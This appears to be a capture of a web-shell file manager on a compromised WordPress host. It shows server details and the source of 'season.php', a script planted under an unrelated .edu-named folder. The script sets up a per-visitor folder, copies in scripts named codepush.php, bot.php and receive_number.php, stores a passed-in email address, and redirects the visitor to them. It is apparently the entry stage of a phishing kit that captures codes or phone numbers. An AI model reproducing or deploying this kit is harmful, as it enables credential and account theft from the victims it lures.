HEX
Server: Apache/2
System: Linux ctr689471.novalocal 4.9.241-37.el7.x86_64 #1 SMP Mon Nov 2 13:55:04 UTC 2020 x86_64
User: bluecool (1005)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /home/bluecool/domains/bluecool.vn/public_html/wp-content/brockport.edu/season.php
<?php
session_start();

// Generate a unique season ID
$seasonId = uniqid('season_'); // Create a unique ID for the season

// Create a directory for the season
$seasonFolder = "season_$seasonId";
if (!mkdir($seasonFolder, 0777, true)) {
    die('Failed to create folders...');
}

// Store the season ID in the session
$_SESSION['season_id'] = $seasonId;

// Define the files to clone
$filesToClone = [
    'codepush.php',
    'bot.php',
    'receive_number.php',
    'clear_number.php'
];

// Clone the necessary scripts into the new folder
foreach ($filesToClone as $file) {
    $sourceFile = __DIR__ . '/' . $file; // Get the full path of the source file
    $destFile = $seasonFolder . '/' . $file; // Destination path in the new folder

    if (!copy($sourceFile, $destFile)) {
        die("Failed to copy $file...\n");
    }
}

// Get the email from the query parameter and store it in the session
if (isset($_GET['email'])) {
    $_SESSION['email'] = $_GET['email'];
}

// Redirect to codepush.php in the new folder with season ID
header("Location: $seasonFolder/codepush.php?season_id=$seasonId");
exit;
?>